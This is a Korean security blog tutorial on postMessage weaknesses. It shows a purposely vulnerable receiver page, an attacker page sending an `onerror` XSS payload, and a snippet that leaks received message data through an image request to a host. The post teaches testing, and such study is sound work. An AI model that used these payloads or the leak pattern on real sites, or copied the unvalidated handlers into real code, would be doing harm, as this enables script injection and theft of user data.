postMessage를 이용한 XSS와 Info Leak

지난주 Exploit-db에서 뒤적뒤적 하던 중 PostMessage 재미있는 관련 문서를 보게되었습니다. 바로 postmessage에서 발생하는 취약점을 찾는 방법입니다. 오늘은 이 postmessage를 이용한 XSS 방법들에 대해 좀 더 테스트해본 결과를 공유할까 합니다.

Thank you so much Gary!!

What is postMessage

postMessage 는 HTML5에서 새롭게 추가된 API로 각각 웹 페이지끼리 메시지를 주고 받을 수 있는 api이며 Cross Document Messaging을 이용해서 두개의 웹 페이지가 서로 메시지를 주고받을 수 있습니다.

원형은 이렇습니다.

window.postMessage(data, [ports], targetOrigin)
  • data: 전달할 메세지, 즉 송신할 데이터를 지정한다
  • ports: 메세지 포트(생략 가능)
  • targetOrigin: 타켓 도메인, 즉 메세지를 수신받는 도메인을 지정한다. 대상이 특정 도메인이 아니라면 * 로 지정한다.

A(parent) B(child)가 있다고 가정하고 A에서 Iframe을 통해 B를 불러옵니다. 그다음 postMessage를 통해 데이터를 쉽게 보낼 수 있습니다.

var google = window.open("https://www.google.com")
google.postMessage("hi","*");

iframe을 통한 창 열기에선 parent내 메소드를 통해서도 가능합니다. (child기준)

parent.postMessage("Hizzz");

받는쪽에서는 message type의 EventListener를 등록해서 callback 처럼 받을 수 있습니다.

window.addEventListener("message", receiveMessage, false);

function receiveMessage(event){
  if (event.origin !== 'https://www.hahwul.com.com/')
    return;

  console.log('received response:  ',event.data);
}

보통 전송받을 수 있는 Origin을 구별하기 위해 수신측 코드에서 event.origin 검증하여 사용합니다. 기본적으로 Cross Origin을 위한 기능으로 중요한 데이터를 처리할 때에는 정말 잘 검증해야 합니다.

DOM XSS

postMessage를 통해 구현하는 기능들 중 일부는 DOM에 작용하는 기능들이 많습니다. 이 때 송신측에서 전송된 데이터를 무조건적으로 신뢰하고 DOM에 반영하는 경우 스크립트가 삽입될 수 있습니다. 대표적으로 callback에서 받은 데이터가 document.write, innerHTML 등을 통해 유통되는 경우입니다.

보통 아래와 같은 메소드들에서 XSS 발생 가능성이 높습니다.

Payload Description
document.write() DOM 영역에 직접 데이터를 씁니다.
document.writeln() DOM 영역에 직접 데이터를 씁니다.
element.innerHTML 특정 element 내 data 부분(태그 내) 데이터를 씁니다.
element.outerHTML 특정 element 내 data 부분(태그 외) 데이터를 씁니다.
location= DOM 영역의 location(page)를 지정합니다.
location.href= DOM 영역의 location(page)를 지정합니다.
window.open() 새로운 창을 엽니다.
location.replace() DOM 영역의 location(page)를 변경합니다.
$() 실행
eval() 실행
element[script tag].src 스크립트 태그 내 src 조작
element[script tag].text 스크립트 태그 내 데이터 조작
element[script tag].textContent 스크립트 태그 내 데이터 조작
element[script tag].innerText 스크립트 태그 내 데이터 조작

예시를 들어봅시다. postMessage를 받으면 name_div에 innerHTML로 데이터를 추가하는 코드입니다.

<script>
function receiveMessage(event){
data = event.data;
name_div = document.getElementById("logged_in_as");
name_div.innerHTML = "<b>Welcome: </b>" + data.username;
messages_div = document.getElementById("messages");
messages = data.messages;
msg_length = messages.length;
var msg_html = "";
for (var i = 0; i < msg_length; i++)
 {
    message = messages[i];
    msg_html += "<h2>" + message['title'] + "</h2>";
    msg_html += message.message;
 }
 messages_div.innerHTML = msg_html;
}
window.addEventListener("message", receiveMessage, false);
</script>

다만 여기선 별다른 검증 없이 innerHTML에 직접 반영하고 있습니다. 일반적인 요청은 아래와 같이 user 정보에 대해 전송할겁니다.

{
  "username": "HAHWUL",
  "messages": [
    {
      "message": "this is log!",
      "title": "TEST Application"
    }
  ]
}

공격자는 이를 변조하여 전송하면 XSS가 가능해지겠죠.

{
  "username": "HAHWUL<img src='z' onerror=alert(45)>",
  "messages": [
    {
      "message": "this is log!",
      "title": "TEST Application"
    }
  ]
}

이러면 전혀 message 이벤트 핸들러에는 innerHTML을 반영하기 전 검증 로직이 없기 떄문에 페이로드인 <img src='z' onerror=alert(45)> 가 삽입되어 스크립트가 동작하게 됩니다. 그럼 공격자는 어떻게 저 정보를 보낼 수 있을까요?

답은 아까 처음에 postMessage에 있습니다.

parent.postMessage("Hizzz");
parent.postMessage({"username":"HAHWUL<img src='z' onerror=alert(45)>","messages":[{"message":"this is log!","title":"TEST Application"}]});

이런식으로 보내게 된다면 postMessage를 통해 받은 parent(victim)이 스크립트 구문을 innerHTML에 적어 XSS가 동작하게 됩니다.

Case Study

그럼 우리만의 간단한 테스트 페이지를 만들어서 볼까요? 실제 취약했던 사이트를 기억에서 꺼내어 비슷하게 작성해봤습니다.

test2.html

<!DOCTYPE html>
<html>
<head></head>
<body>
MESSAGE<br>
  <div id="message"></div>   
</body>
</html>
<script type="text/javascript">   
  window.onmessage = function(e){
    document.getElementById("message").innerHTML += e.data;
  }
</script>

이 페이지는 message를 받아서 출력해주는 코드를 가지고 있습니다. 이제 이 페이지를 호출하는 페이지를 만들어 봅니다.

test.html

<!DOCTYPE html>
<html>
<head></head>
<body>
  <div id="message"></div>
  <button onclick="sendMessage();">Send-></button>
  <iframe id="tt" src="test2.html" width="200" height="100"></iframe>
</body>
</html>
<script type="text/javascript"> 
  function sendMessage(){
    var dest = document.getElementById("tt");
    dest.contentWindow.postMessage("<br>Parent: MSG","*");
  }   
</script>

test.html을 열어서 send를 눌러보시면 메시지가 전송되는 걸 볼 수 있습니다. 만약 우리가 이 MSG에 대해 제어가 가능하다면 이런식으로 공격이 들어갈 수 있겠죠.

test.html(attack code)

<!DOCTYPE html>
<html>
<head></head>
<body>
  <div id="message"></div>
  <button onclick="sendMessage();">Send-></button>
  <iframe id="tt" src="test2.html" width="200" height="100"></iframe>
</body>
</html>
<script type="text/javascript"> 
  function sendMessage(){
    var dest = document.getElementById("tt");
    dest.contentWindow.postMessage("<br>Parent: MSG<img src='z' onerror=alert(45)>","*");
  }   
</script>

간단하게 어떤 방식인지 표현하기 위해서 직접 삽입했고, 실제로는 메시지 데이터를 쓰는 부분에서 postMessage를 통해 넘어가기 때문에 공격구문을 넣어서 child로 보낼 수 있습니다.

실행되는 걸 보면 아래와 같습니다.

Sensitive Data Leakage

postMessage를 이용하면 반대로 민감한 데이터를 훔치는 것도 가능합니다. 위 postMessage 설명에서 이야기했듯이 Origin에 대한 검증은 매우 중요합니다. 왜냐면 postMessage는 Cross-Origin을 위한 기능으로 Origin이 달라도 데이터를 전달할 수 있기 떄문입니다.

실제로 frame이나 새창에서 입력받은 정보를 부모 창과 통신하는 경우가 많습니다. 이럴 때 parent 객체에 postMessage를 통해 전송하기도 합니다. 만약 이런 페이지들 중에서 Origin을 검증하지 않는 취약한 페이지가 있고, postMessage를 통해 데이터를 서로 주고받는 기능이라면 이런 시나리오가 가능할겁니다.

Victim

function parent_getUserInfo()
{
   var userdata=[name,age, 등등...];
   parent.postMessage(userdata);
}

Attacker

<img src="http://127.0.0.1/?" id=message>  <!-- 공격자 페이지 -->
<script>
 window.onmessage = function(e){    // data를 읽어와서
 document.getElementById("message").src += "&"+e.data; //
</script>

단순하게 정보를 반환하는 함수가 있다고 하면 공격자가 다른 웹 서비스에서 해당 페이지를 iframe을 통해 호출 합니다. XSS가 취약한 페이지에서 postMessage가 취약한 페이지를 호출하는 느낌이죠. 그러면 parent가 XSS가 취약한 페이지로 되어있고, 해당 서버로 userdata의 데이터가 넘어갈 겁니다. 그러면 공격자는 parent(XSS 취약 페이지)에서 자신의 서버로 다시 정보를 날려서 데이터를 탈취할 수 있습니다.

Tools

PostMessage-Tracker

https://github.com/fransr/postMessage-tracker

위 Extension을 이용하면 쉽게 페이지 내 postMessage 사용 구간을 식별하고 동작을 파악할 수 있습니다. 자세한건 “Vulnerability of postMessage and postMesasge-tracker browser extension” 글을 참고해주세요.

PMHOOK

제가 봤던 문서에서는 PMHOOK을 이용해서 postMessage를 테스팅 하는 방법에 대해 다룹니다. PMHOOK은 Client side에서 JS 라이브러리를 분석하는 툴로 Chrome, filrefox 확장기능(addon)인 tampermonkey를 이용해서 동작한다고 하네요.

  • https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo?hl=ko

tampermonkey 설치 후 PMHook을 다운받아서 테스트할 수 있고, 이 내용은 관련 문서랑 내용 일부 보시면 좋을 것 같습니다.

끝으로 해당 문서에서 보시면 postMessage 관련해서 각종 우회 방법과 테스트 케이스들이 있습니다. 숙지해두시면 언젠간 꼭 도움될테니 재미있게 보시면 좋을 것 같습니다 :D

Reference